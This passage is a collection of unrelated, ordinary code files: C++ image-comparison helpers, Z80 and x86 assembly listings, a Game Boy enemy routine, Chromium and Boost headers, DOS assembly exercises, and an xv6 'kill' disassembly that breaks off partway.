Vec4 pixelScale (1.0f, 1.0f, 1.0f, 1.0f);
if (!compareOk || logMode == COMPARE_LOG_EVERYTHING)
{
// All formats except normalized unsigned fixed point ones need remapping in order to fit into unorm channels in logged images.
if (tcu::getTextureChannelClass(reference.getFormat().type) != tcu::TEXTURECHANNELCLASS_UNSIGNED_FIXED_POINT ||
tcu::getTextureChannelClass(result.getFormat().type) != tcu::TEXTURECHANNELCLASS_UNSIGNED_FIXED_POINT)
{
computeScaleAndBias(reference, result, pixelScale, pixelBias);
log << TestLog::Message << "Result and reference images are normalized with formula p * " << pixelScale << " + " << pixelBias << TestLog::EndMessage;
}
if (!compareOk)
log << TestLog::Message
<< "Image comparison failed:\n"
<< "\tallowed position deviation = " << maxPositionDeviation << "\n"
<< "\tcolor threshold = " << threshold
<< TestLog::EndMessage;
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::Image("Reference", "Reference", reference, pixelScale, pixelBias)
<< TestLog::Image("ErrorMask", "Error mask", errorMask)
<< TestLog::EndImageSet;
}
else if (logMode == COMPARE_LOG_RESULT)
{
if (result.getFormat() != TextureFormat(TextureFormat::RGBA, TextureFormat::UNORM_INT8))
computePixelScaleBias(result, pixelScale, pixelBias);
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::EndImageSet;
}
return compareOk;
}
/*--------------------------------------------------------------------*//*!
* \brief Per-pixel threshold-based deviation-ignoring comparison
*
* This compare computes per-pixel differences between result and reference
* image. Pixel fails the test if there is no pixel matching the given
* threshold value in the search volume. Comparison fails if the number of
* failing pixels exceeds the given limit.
*
* If the search volume contains out-of-bounds pixels, comparison can be set
* to either ignore these pixels in search or to accept any pixel that has
* out-of-bounds pixels in its search volume.
*
* This comparison can be used for integer- and fixed-point texture formats.
* Difference is computed in integer space.
*
* On failure error image is generated that shows where the failing pixels
* are.
*
* \param log Test log for results
* \param imageSetName Name for image set when logging results
* \param imageSetDesc Description for image set
* \param reference Reference image
* \param result Result image
* \param threshold Maximum allowed difference
* \param maxPositionDeviation Maximum allowed distance in the search
* volume.
* \param acceptOutOfBoundsAsAnyValue Accept any pixel in the boundary region
* \param maxAllowedFailingPixels Maximum number of failing pixels
* \param logMode Logging mode
* \return true if comparison passes, false otherwise
*//*--------------------------------------------------------------------*/
bool intThresholdPositionDeviationErrorThresholdCompare (TestLog& log, const char* imageSetName, const char* imageSetDesc, const ConstPixelBufferAccess& reference, const ConstPixelBufferAccess& result, const UVec4& threshold, const tcu::IVec3& maxPositionDeviation, bool acceptOutOfBoundsAsAnyValue, int maxAllowedFailingPixels, CompareLogMode logMode)
{
const int width = reference.getWidth();
const int height = reference.getHeight();
const int depth = reference.getDepth();
TextureLevel errorMaskStorage (TextureFormat(TextureFormat::RGB, TextureFormat::UNORM_INT8), width, height, depth);
PixelBufferAccess errorMask = errorMaskStorage.getAccess();
const int numFailingPixels = findNumPositionDeviationFailingPixels(errorMask, reference, result, threshold, maxPositionDeviation, acceptOutOfBoundsAsAnyValue);
const bool compareOk = numFailingPixels <= maxAllowedFailingPixels;
Vec4 pixelBias (0.0f, 0.0f, 0.0f, 0.0f);
Vec4 pixelScale (1.0f, 1.0f, 1.0f, 1.0f);
if (!compareOk || logMode == COMPARE_LOG_EVERYTHING)
{
// All formats except normalized unsigned fixed point ones need remapping in order to fit into unorm channels in logged images.
if (tcu::getTextureChannelClass(reference.getFormat().type) != tcu::TEXTURECHANNELCLASS_UNSIGNED_FIXED_POINT ||
tcu::getTextureChannelClass(result.getFormat().type) != tcu::TEXTURECHANNELCLASS_UNSIGNED_FIXED_POINT)
{
computeScaleAndBias(reference, result, pixelScale, pixelBias);
log << TestLog::Message << "Result and reference images are normalized with formula p * " << pixelScale << " + " << pixelBias << TestLog::EndMessage;
}
if (!compareOk)
log << TestLog::Message
<< "Image comparison failed:\n"
<< "\tallowed position deviation = " << maxPositionDeviation << "\n"
<< "\tcolor threshold = " << threshold
<< TestLog::EndMessage;
log << TestLog::Message << "Number of failing pixels = " << numFailingPixels << ", max allowed = " << maxAllowedFailingPixels << TestLog::EndMessage;
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::Image("Reference", "Reference", reference, pixelScale, pixelBias)
<< TestLog::Image("ErrorMask", "Error mask", errorMask)
<< TestLog::EndImageSet;
}
else if (logMode == COMPARE_LOG_RESULT)
{
if (result.getFormat() != TextureFormat(TextureFormat::RGBA, TextureFormat::UNORM_INT8))
computePixelScaleBias(result, pixelScale, pixelBias);
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::EndImageSet;
}
return compareOk;
}
/*--------------------------------------------------------------------*//*!
* \brief Per-pixel threshold-based comparison
*
* This compare computes per-pixel differences between result and reference
* image. Comparison fails if any pixels exceed the given threshold value.
*
* On failure error image is generated that shows where the failing pixels
* are.
*
* \param log Test log for results
* \param imageSetName Name for image set when logging results
* \param imageSetDesc Description for image set
* \param reference Reference image
* \param result Result image
* \param threshold Maximum allowed difference
* \param logMode Logging mode
* \return true if comparison passes, false otherwise
*//*--------------------------------------------------------------------*/
bool pixelThresholdCompare (TestLog& log, const char* imageSetName, const char* imageSetDesc, const Surface& reference, const Surface& result, const RGBA& threshold, CompareLogMode logMode)
{
return intThresholdCompare(log, imageSetName, imageSetDesc, reference.getAccess(), result.getAccess(), threshold.toIVec().cast<deUint32>(), logMode);
}
/*--------------------------------------------------------------------*//*!
* \brief Bilinear image comparison
*
* \todo [pyry] Describe
*
* On failure error image is generated that shows where the failing pixels
* are.
*
* \note Currently supports only RGBA, UNORM_INT8 formats
* \param log Test log for results
* \param imageSetName Name for image set when logging results
* \param imageSetDesc Description for image set
* \param reference Reference image
* \param result Result image
* \param threshold Maximum local difference
* \param logMode Logging mode
* \return true if comparison passes, false otherwise
*//*--------------------------------------------------------------------*/
bool bilinearCompare (TestLog& log, const char* imageSetName, const char* imageSetDesc, const ConstPixelBufferAccess& reference, const ConstPixelBufferAccess& result, const RGBA threshold, CompareLogMode logMode)
{
TextureLevel errorMask (TextureFormat(TextureFormat::RGB, TextureFormat::UNORM_INT8), reference.getWidth(), reference.getHeight());
bool isOk = bilinearCompare(reference, result, errorMask, threshold);
Vec4 pixelBias (0.0f, 0.0f, 0.0f, 0.0f);
Vec4 pixelScale (1.0f, 1.0f, 1.0f, 1.0f);
if (!isOk || logMode == COMPARE_LOG_EVERYTHING)
{
if (result.getFormat() != TextureFormat(TextureFormat::RGBA, TextureFormat::UNORM_INT8) && reference.getFormat() != TextureFormat(TextureFormat::RGBA, TextureFormat::UNORM_INT8))
computeScaleAndBias(reference, result, pixelScale, pixelBias);
if (!isOk)
log << TestLog::Message << "Image comparison failed, threshold = " << threshold << TestLog::EndMessage;
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::Image("Reference", "Reference", reference, pixelScale, pixelBias)
<< TestLog::Image("ErrorMask", "Error mask", errorMask)
<< TestLog::EndImageSet;
}
else if (logMode == COMPARE_LOG_RESULT)
{
if (result.getFormat() != TextureFormat(TextureFormat::RGBA, TextureFormat::UNORM_INT8))
computePixelScaleBias(result, pixelScale, pixelBias);
log << TestLog::ImageSet(imageSetName, imageSetDesc)
<< TestLog::Image("Result", "Result", result, pixelScale, pixelBias)
<< TestLog::EndImageSet;
}
return isOk;
}
} // tcu
|
; EQU:
; Data addresses used by the opcodes that point to uninitialized memory areas.
L6001: equ 6001h ; 24577. Subroutine. Called by: L62E2[6300h].
L6010: equ 6010h ; 24592. Subroutine. Called by: L62E2[62E6h].
L601B: equ 601Bh ; 24603. Subroutine. Called by: L62E2[62E9h].
; Last element of stack:
L63D1: equ 63D1h
L8008: equ 8008h ; 32776. Subroutine. Called by: L62E2[62F9h].
L801B: equ 801Bh ; 32795. Subroutine. Called by: L62E2[6304h].
L8030: equ 8030h ; 32816. Data accessed by: 62EFh(in L62E2), 62F5h(in L62E2)
org 62E2h ; 62E2h
; Label not accessed.
62E2 L62E2:
62E2 F3 DI
62E3 31 D3 63 LD SP,L63D1+2 ; 63D3h, top of stack
62E6 CD 10 60 CALL L6010 ; 6010h
62E9 CD 1B 60 CALL L601B ; 601Bh
62EC 21 32 80 LD HL,8032h ; 32818, -32718
62EF 22 30 80 LD (L8030),HL ; 8030h
62F2 11 00 58 LD DE,5800h ; 22528
62F5 L62F5:
62F5 2A 30 80 LD HL,(L8030) ; 8030h
62F8 7E LD A,(HL)
62F9 CD 08 80 CALL L8008 ; 8008h
62FC D5 PUSH DE
62FD 11 88 13 LD DE,1388h ; 5000
6300 CD 01 60 CALL L6001 ; 6001h
6303 D1 POP DE
6304 CD 1B 80 CALL L801B ; 801Bh
6307 18 EC JR L62F5 ; 62F5h
6309 00 defb 00h ; 0
630A 00 defb 00h ; 0
630B 00 defb 00h ; 0
630C 00 defb 00h ; 0
630D 00 defb 00h ; 0
630E 00 defb 00h ; 0
630F 00 defb 00h ; 0
6310 00 defb 00h ; 0
6311 00 defb 00h ; 0
6312 00 defb 00h ; 0
6313 00 defb 00h ; 0
6314 00 defb 00h ; 0
6315 00 defb 00h ; 0
6316 00 defb 00h ; 0
6317 00 defb 00h ; 0
6318 00 defb 00h ; 0
6319 00 defb 00h ; 0
631A 00 defb 00h ; 0
631B 00 defb 00h ; 0
631C 00 defb 00h ; 0
631D 00 defb 00h ; 0
631E 00 defb 00h ; 0
631F 00 defb 00h ; 0
6320 00 defb 00h ; 0
6321 00 defb 00h ; 0
6322 00 defb 00h ; 0
6323 00 defb 00h ; 0
6324 00 defb 00h ; 0
6325 00 defb 00h ; 0
6326 00 defb 00h ; 0
6327 00 defb 00h ; 0
6328 00 defb 00h ; 0
6329 00 defb 00h ; 0
632A 00 defb 00h ; 0
632B 00 defb 00h ; 0
632C 00 defb 00h ; 0
632D 00 defb 00h ; 0
632E 00 defb 00h ; 0
632F 00 defb 00h ; 0
6330 00 defb 00h ; 0
6331 00 defb 00h ; 0
6332 00 defb 00h ; 0
6333 00 defb 00h ; 0
6334 00 defb 00h ; 0
6335 00 defb 00h ; 0
6336 00 defb 00h ; 0
6337 00 defb 00h ; 0
6338 00 defb 00h ; 0
6339 00 defb 00h ; 0
633A 00 defb 00h ; 0
633B 00 defb 00h ; 0
633C 00 defb 00h ; 0
633D 00 defb 00h ; 0
633E 00 defb 00h ; 0
633F 00 defb 00h ; 0
6340 00 defb 00h ; 0
6341 00 defb 00h ; 0
6342 00 defb 00h ; 0
6343 00 defb 00h ; 0
6344 00 defb 00h ; 0
6345 00 defb 00h ; 0
; ...
; ...
; ...
|
print_string:
pusha ; push all register values to the stack
start:
mov al, [bx] ; 'bx' is the base address for the string
cmp al, 0
je done
mov ah, 0x0e ; int=10/ah=0x0e -> BIOS teletype output
int 0x10 ; print character in a1
add bx, 1
jmp start
done:
popa ; restore original register values
ret
print_nl:
pusha
mov ah, 0x0e
mov al, 0x0a ; newline char
int 0x10
mov al, 0x0d ; carriage return
int 0x10
popa
ret
; receiving the data in 'dx'
; For the examples we'll assume that we're called with dx=0x1234
print_hex:
pusha
mov cx, 0 ; our index variable
; Strategy: get the last char of 'dx', then convert to ASCII
; Numeric ASCII values: '0' (ASCII 0x30) to '9' (0x39), so just add 0x30 to byte N.
; For alphabetic characters A-F: 'A' (ASCII 0x41) to 'F' (0x46) we'll add 0x40
; Then, move the ASCII byte to the correct position on the resulting string
hex_loop:
cmp cx, 4 ; loop 4 times
je end
; 1. convert last char of 'dx' to ascii
mov ax, dx ; we will use 'ax' as our working register
and ax, 0x000f ; 0x1234 -> 0x0004 by masking first three to zeros
add al, 0x30 ; add 0x30 to N to convert it to ASCII "N"
cmp al, 0x39 ; if > 9, add extra 8 to represent 'A' to 'F'
jle step2
add al, 7 ; 'A' is ASCII 65 instead of 58, so 65-58=7
step2:
; 2. get the correct position of the string to place our ASCII char
; bx <- base address + string length - index of char
mov bx, HEX_OUT + 5 ; base + length
sub bx, cx ; our index variable
mov [bx], al ; copy the ASCII char on 'al' to the position pointed by 'bx'
ror dx, 4 ; 0x1234 -> 0x4123 -> 0x3412 -> 0x2341 -> 0x1234
; increment index and loop
add cx, 1
jmp hex_loop
end:
; prepare the parameter and call the function
; remember that print receives parameters in 'bx'
mov bx, HEX_OUT
call print_string
popa
ret
HEX_OUT:
db '0x0000',0 ; reserve memory for our new string
[bits 32] ; using 32-bit protected mode
; this is how constants are defined
VIDEO_MEMORY equ 0xb8000
WHITE_OB_BLACK equ 0x0f ; the color byte for each character
print_string_pm:
pusha
mov edx, VIDEO_MEMORY
print_string_pm_loop:
mov al, [ebx] ; [ebx] is the address of our character
mov ah, WHITE_OB_BLACK
cmp al, 0 ; check if end of string
je print_string_pm_done
mov [edx], ax ; store character + attribute in video memory
add ebx, 1 ; next char
add edx, 2 ; next video memory position
jmp print_string_pm_loop
print_string_pm_done:
popa
ret
|
INCLUDE "./src/include/entities.inc"
INCLUDE "./src/definitions/definitions.inc"
INCLUDE "./src/include/hardware.inc"
SECTION "Enemy D", ROM0
/* Update for enemy type D
Behavior:
- When player is in same view as enemy chase after player
- Will keep chasing player until player or the ghost dies
- Can go through walls
- When player died, go back to original spawn location
- sleep -> chase -> sleep
Parameters:
- hl: the starting address of the enemy
*/
UpdateEnemyD::
push hl ; PUSH HL = enemy address
push hl ; PUSH hl = enemy address
call UpdateEnemyEffects
pop hl
.checkState
ld de, Character_UpdateFrameCounter + 1
add hl, de
ld a, [hl]
cp a, ENEMY_TYPED_CHASE_STATE_FRAME
jr nc, .chaseState ; >=, it is in chase state
cp a, ENEMY_TYPED_WAKEUP_STATE_FRAME
jr nc, .updateAnimation ; >=, it is waking up
.restState ; check if player can see enemy on screen
pop hl ; POP HL = enemy address
push hl ; PUSH HL = enemy address
xor a
ld b, a
ld c, a
call CheckEnemyInScreen
and a
pop hl ; POP HL = enemy address
jr z, .end
push hl ; PUSH HL = enemy address
jr .updateAnimation ; start waking up
.chaseState ; chase after player
pop hl ; POP HL = enemy address
push hl ; PUSH HL = enemy address
inc hl
inc hl ; offset address to get posY
; bc = player pos y and x, de = enemy pos y and z
ld a, [wPlayer_PosYInterpolateTarget]
ld b, a
ld a, [wPlayer_PosXInterpolateTarget]
ld c, a
ld a, [hli]
and a, %11111000
ld d, a
inc hl
inc hl ; get x pos
ld a, [hli]
and a, %11111000
ld e, a
; d - b, e - c, then compare which one is larger
sub a, c ; get x offset
jr nc, .compareY
cpl ; invert the value as it underflowed
inc a
.compareY
ld h, a ; h = x offset
ld a, d ; a = enemy pos y
sub a, b ; get y offset
jr nc, .compareOffset
cpl ; invert the value as it underflowed
inc a
.compareOffset
ld l, a ; l = y offset
sub a, h ; y offset - x offset
jr nc, .checkOffset
cpl ; invert the value as it underflowed
inc a
.checkOffset
ld a, l
cp a, h ; y offset - x offset:
jr c, .checkHorizontal ; move in the direction with the biggest offset dist
.checkVertical
ld a, d ; a = enemy pos y
cp a, b
jr z, .checkHorizontal
ld c, DIR_DOWN
jr c, .finishFindingPlayer ; player is below enemy
ld c, DIR_UP
jr .finishFindingPlayer
.checkHorizontal
; c = player pos x, e = enemy pos x
ld a, e
cp a, c
ld c, DIR_RIGHT
jr c, .finishFindingPlayer ; player on right of enemy
ld c, DIR_LEFT
jr z, .move
.finishFindingPlayer
; c = direction
pop hl ; POP HL = enemy address
push hl ; PUSH HL = enemy address
ld de, Character_Direction
add hl, de
ld a, c
ld [hl], a
.move
pop hl ; POP HL = enemy address
push hl ; PUSH HL = enemy address
call EnemyMoveBasedOnDir
.updateAnimation
pop hl ; POP HL = enemy address
push hl ; PUSH HL = enemy address
ld de, Character_UpdateFrameCounter
add hl, de
ld a, [hl]
add a, ENEMY_TYPED_ANIMATION_UPDATE_SPEED
ld [hli], a ; update fraction part of updateFrameCounter
jr nc, .endUpdateEnemyD
.updateFrames
; hl = enemy update frame counter + 1 address
ld a, [hl]
add a, 1 ; inc doesnt set the carry flag
sbc a, 0 ; prevents overflow
ld [hli], a ; int part of update frame counter
ld a, [hli]
inc a ; update animation frames
ld b, a ; b = curr animation frame
ld a, [hl] ; get max frames
cp a, b
jr nz, .continueUpdateFrames
ld b, 0 ; reset frame
.continueUpdateFrames
; b = curr animation frame, hl = enemy max frame address
dec hl
ld a, b
ld [hl], a ; store curr animation frame */
.endUpdateEnemyD
pop hl ; POP HL = enemy address
call InitEnemyGhostSprite ; DONT EVEN HAVE TO RENDER IF PLAYER NOT ON SAME SCREEN
.end
ret
/* Reset enemy D state when player dies
hl - enemy address
registers changed:
- hl
- de
- af
- bc
*/
ResetEnemyD::
push hl ; PUSH HL = enemy address
; get spawn position
ld de, Character_SpawnPosition
add hl, de
ld a, [hli]
ld d, a
ld a, [hl]
ld e, a
; d = spawn pos y, e = spawn pos x
pop hl ; POP HL = enemy address
inc hl
inc hl
ld a, d
ld [hli], a ; update pos Y
inc hl
inc hl
ld a, e
ld [hl], a ; update pos x
; 8 cycles, offset to get updateFrameCounter
ld a, (Character_UpdateFrameCounter) - Character_PosX
add a, l
ld l, a
ld a, h
adc a, 0
ld h, a
xor a
ld [hli], a ; update fraction part of UpdateFrameCounter
ld [hli], a ; update int part of UpdateFrameCounter
ld [hl], a ; update curr anaimation frame
ret
/* Init enemy Ghost sprite
hl - enemy address
*/
InitEnemyGhostSprite:
push hl
ld de, Character_UpdateFrameCounter + 1
add hl, de ; offset hl = updateFrameCounter
ld a, [hl] ; get int part of updateFrameCounter
cp a, ENEMY_TYPED_CHASE_STATE_FRAME
jr nc, .chaseStateSprite ; >=, it is in chase state
ld bc, EnemyDAnimation.sleepAnimation
jr .endDir
.chaseStateSprite
; a = updateFrameCounter
ld d, a ; reg d = updateFrameCounter
ld a, l ; 8 cycles
sub a, 5
ld l, a
ld a, h
sbc a, 0
ld h, a ; offset to get direction
ld a, [hl] ; check direction of enemy and init sprite data
and a, DIR_BIT_MASK
ASSERT DIR_UP == 0
and a, a ; cp a, 0
jr z, .upDir
ASSERT DIR_DOWN == 1
dec a
jr z, .downDir
ASSERT DIR_LEFT == 2
dec a
jr z, .leftDir
ASSERT DIR_RIGHT > 2
.rightDir
ld bc, EnemyDAnimation.rightAnimation
jr .endDir
.upDir
ld bc, EnemyDAnimation.upAnimation
jr .endDir
.downDir
ld bc, EnemyDAnimation.downAnimation
jr .endDir
.leftDir
ld bc, EnemyDAnimation.leftAnimation
.endDir
pop hl ; POP HL = enemy address
call UpdateEnemySpriteOAM
ret
|
// Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "platform/graphics/StaticBitmapImage.h"
#include "platform/graphics/AcceleratedStaticBitmapImage.h"
#include "platform/graphics/GraphicsContext.h"
#include "platform/graphics/ImageObserver.h"
#include "platform/graphics/UnacceleratedStaticBitmapImage.h"
#include "platform/graphics/paint/PaintImage.h"
#include "third_party/skia/include/core/SkCanvas.h"
#include "third_party/skia/include/core/SkImage.h"
#include "third_party/skia/include/core/SkPaint.h"
namespace blink {
PassRefPtr<StaticBitmapImage> StaticBitmapImage::Create(sk_sp<SkImage> image) {
if (!image)
return nullptr;
if (image->isTextureBacked())
return AcceleratedStaticBitmapImage::CreateFromSharedContextImage(
std::move(image));
return UnacceleratedStaticBitmapImage::Create(std::move(image));
}
void StaticBitmapImage::DrawHelper(PaintCanvas* canvas,
const PaintFlags& flags,
const FloatRect& dst_rect,
const FloatRect& src_rect,
ImageClampingMode clamp_mode,
const PaintImage& image) {
FloatRect adjusted_src_rect = src_rect;
adjusted_src_rect.Intersect(SkRect::Make(image.sk_image()->bounds()));
if (dst_rect.IsEmpty() || adjusted_src_rect.IsEmpty())
return; // Nothing to draw.
canvas->drawImageRect(image, adjusted_src_rect, dst_rect, &flags,
WebCoreClampingModeToSkiaRectConstraint(clamp_mode));
}
} // namespace blink
|
/* *
* The MIT License (MIT)
*
* Copyright (c) 2013 Paul Holden et al. (See AUTHORS)
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
* */
#include <bakge/Bakge.h>
namespace bakge
{
namespace math
{
Quaternion::Quaternion()
{
}
Quaternion::~Quaternion()
{
}
} /* math */
} /* bakge */
|
/*
* Copyright Andrey Semashev 2007 - 2015.
* Distributed under the Boost Software License, Version 1.0.
* (See accompanying file LICENSE_1_0.txt or copy at
* http://www.boost.org/LICENSE_1_0.txt)
*/
/*!
* \file keywords/use_impl.hpp
* \author Andrey Semashev
* \date 14.03.2009
*
* The header contains the \c use_impl keyword declaration.
*/
#ifndef BOOST_LOG_KEYWORDS_USE_IMPL_HPP_INCLUDED_
#define BOOST_LOG_KEYWORDS_USE_IMPL_HPP_INCLUDED_
#include <boost/parameter/keyword.hpp>
#include <boost/log/detail/config.hpp>
#ifdef BOOST_HAS_PRAGMA_ONCE
#pragma once
#endif
namespace boost {
BOOST_LOG_OPEN_NAMESPACE
namespace keywords {
//! The keyword is used to pass the type of backend implementation to use
BOOST_PARAMETER_KEYWORD(tag, use_impl)
} // namespace keywords
BOOST_LOG_CLOSE_NAMESPACE // namespace log
} // namespace boost
#endif // BOOST_LOG_KEYWORDS_USE_IMPL_HPP_INCLUDED_
|
.MODEL SMALL
.STACK 100H
.DATA
PROMPT_1 DB 'Enter the binary value: $'
PROMPT_2 DB 0DH,0AH,'SHR by 4 bits: $'
.CODE
MAIN PROC
MOV AX, @DATA
MOV DS, AX
LEA DX, PROMPT_1
MOV AH, 9
INT 21H
XOR BL, BL
MOV CX, 8
MOV AH, 1
@INPUT:
INT 21H
CMP AL, 0DH
JE @END
AND AL, 0FH
SHL BL, 1
OR BL, AL
LOOP @INPUT
@END:
MOV AL, BL
@SHIFTRIGHT:
MOV CL, 4
SHR AL, CL
MOV BL, AL
LEA DX, PROMPT_2
MOV AH, 9
INT 21H
MOV CX, 8
MOV AH, 2
@OUTPUT:
SHL BL, 1
JNC @ZERO
MOV DL, 31H
JMP @DISPLAY
@ZERO:
MOV DL, 30H
@DISPLAY:
INT 21H
LOOP @OUTPUT
MOV AH, 4CH
INT 21H
MAIN ENDP
END MAIN |
.MODEL SMALL
.STACK 100H
.DATA
PROMPT_1 DB "Enter athe Lower-Case Letter: $"
PROMPT_2 DB 0DH,0AH, "The Upper-Case Letter is: $"
.CODE
MAIN PROC
MOV AX, @DATA
MOV DS, AX
LEA DX, PROMPT_1
MOV AH, 9
INT 21H
MOV AH, 1
INT 21H
MOV BL, AL
LEA DX, PROMPT_2
MOV AH, 9
INT 21H
SUB BL, 20H
MOV AH, 2
MOV DL,BL
INT 21H
MOV AH, 4CH
INT 21H
MAIN ENDP
END MAIN |
_kill: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char **argv)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 57 push %edi
e: 56 push %esi
f: 53 push %ebx
10: 51 push %ecx
11: 83 ec 08 sub $0x8,%esp
14: 8b 31 mov (%ecx),%esi
16: 8b 79 04 mov 0x4(%ecx),%edi
int i;
if(argc < 2){
19: 83 fe 01 cmp $0x1,%esi
1c: 7e 07 jle 25 <main+0x25>
printf(2, "usage: kill pid...\n");
exit();
}
for(i=1; i<argc; i++)
1e: bb 01 00 00 00 mov $0x1,%ebx
23: eb 2d jmp 52 <main+0x52>
printf(2, "usage: kill pid...\n");
25: 83 ec 08 sub $0x8,%esp
28: 68 f4 05 00 00 push $0x5f4
2d: 6a 02 push $0x2
2f: e8 06 03 00 00 call 33a <printf>
exit();
34: e8 af 01 00 00 call 1e8 <exit>
kill(atoi(argv[i]));
39: 83 ec 0c sub $0xc,%esp
3c: ff 34 9f pushl (%edi,%ebx,4)
3f: e8 46 01 00 00 call 18a <atoi>
44: 89 04 24 mov %eax,(%esp)
47: e8 cc 01 00 00 call 218 <kill>
for(i=1; i<argc; i++)
4c: 83 c3 01 add $0x1,%ebx
4f: 83 c4 10 add $0x10,%esp
52: 39 f3 cmp %esi,%ebx
54: 7c e3 jl 39 <main+0x39>
exit();
56: e8 8d 01 00 00 call 1e8 <exit>
0000005b <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
5b: 55 push %ebp
5c: 89 e5 mov %esp,%ebp
5e: 53 push %ebx
5f: 8b 45 08 mov 0x8(%ebp),%eax
62: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
65: 89 c2 mov %eax,%edx
67: 0f b6 19 movzbl (%ecx),%ebx
6a: 88 1a mov %bl,(%edx)
6c: 8d 52 01 lea 0x1(%edx),%edx
6f: 8d 49 01 lea 0x1(%ecx),%ecx
72: 84 db test %bl,%bl
74: 75 f1 jne 67 <strcpy+0xc>
;
return os;
}
76: 5b pop %ebx
77: 5d pop %ebp
78: c3 ret
00000079 <strcmp>:
int
strcmp(const char *p, const char *q)
{
79: 55 push %ebp
7a: 89 e5 mov %esp,%ebp
7c: 8b 4d 08 mov 0x8(%ebp),%ecx
7f: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
82: eb 06 jmp 8a <strcmp+0x11>
p++, q++;
84: 83 c1 01 add $0x1,%ecx
87: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
8a: 0f b6 01 movzbl (%ecx),%eax
8d: 84 c0 test %al,%al
8f: 74 04 je 95 <strcmp+0x1c>
91: 3a 02 cmp (%edx),%al
93: 74 ef je 84 <strcmp+0xb>
return (uchar)*p - (uchar)*q;
95: 0f b6 c0 movzbl %al,%eax
98: 0f b6 12 movzbl (%edx),%edx
9b: 29 d0 sub %edx,%eax
}
9d: 5d pop %ebp
9e: c3 ret
0000009f <strlen>:
uint
strlen(const char *s)
{
9f: 55 push %ebp
a0: 89 e5 mov %esp,%ebp
a2: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
a5: ba 00 00 00 00 mov $0x0,%edx
aa: eb 03 jmp af <strlen+0x10>
ac: 83 c2 01 add $0x1,%edx
af: 89 d0 mov %edx,%eax
b1: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
b5: 75 f5 jne ac <strlen+0xd>
;
return n;
}
b7: 5d pop %ebp
b8: c3 ret
000000b9 <memset>:
void*
memset(void *dst, int c, uint n)
{
b9: 55 push %ebp
ba: 89 e5 mov %esp,%ebp
bc: 57 push %edi
bd: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
c0: 89 d7 mov %edx,%edi
c2: 8b 4d 10 mov 0x10(%ebp),%ecx
c5: 8b 45 0c mov 0xc(%ebp),%eax
c8: fc cld
c9: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
cb: 89 d0 mov %edx,%eax
cd: 5f pop %edi
ce: 5d pop %ebp
cf: c3 ret
000000d0 <strchr>:
char*
strchr(const char *s, char c)
{
d0: 55 push %ebp
d1: 89 e5 mov %esp,%ebp
d3: 8b 45 08 mov 0x8(%ebp),%eax
d6: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
da: 0f b6 10 movzbl (%eax),%edx
dd: 84 d2 test %dl,%dl
df: 74 09 je ea <strchr+0x1a>
if(*s == c)
e1: 38 ca cmp %cl,%dl
e3: 74 0a je ef <strchr+0x1f>
for(; *s; s++)
e5: 83 c0 01 add $0x1,%eax
e8: eb f0 jmp da <strchr+0xa>
return (char*)s;
return 0;
ea: b8 00 00 00 00 mov $0x0,%eax
}
ef: 5d pop %ebp
f0: c3 ret
000000f1 <gets>:
char*
gets(char *buf, int max)
{
f1: 55 push %ebp
f2: 89 e5 mov %esp,%ebp
f4: 57 push %edi
f5: 56 push %esi
f6: 53 push %ebx
f7: 83 ec 1c sub $0x1c,%esp
fa: 8b 7d 08 mov 0x8(%ebp),%edi
int i, cc;
char c;
for(i=0; i+1 < max; ){
fd: bb 00 00 00 00 mov $0x0,%ebx
102: 8d 73 01 lea 0x1(%ebx),%esi
105: 3b 75 0c cmp 0xc(%ebp),%esi
108: 7d 2e jge 138 <gets+0x47>
cc = read(0, &c, 1);
10a: 83 ec 04 sub $0x4,%esp
10d: 6a 01 push $0x1
10f: 8d 45 e7 lea -0x19(%ebp),%eax
112: 50 push %eax
113: 6a 00 push $0x0
115: e8 e6 00 00 00 call 200 <read>
if(cc < 1)
11a: 83 c4 10 add $0x10,%esp
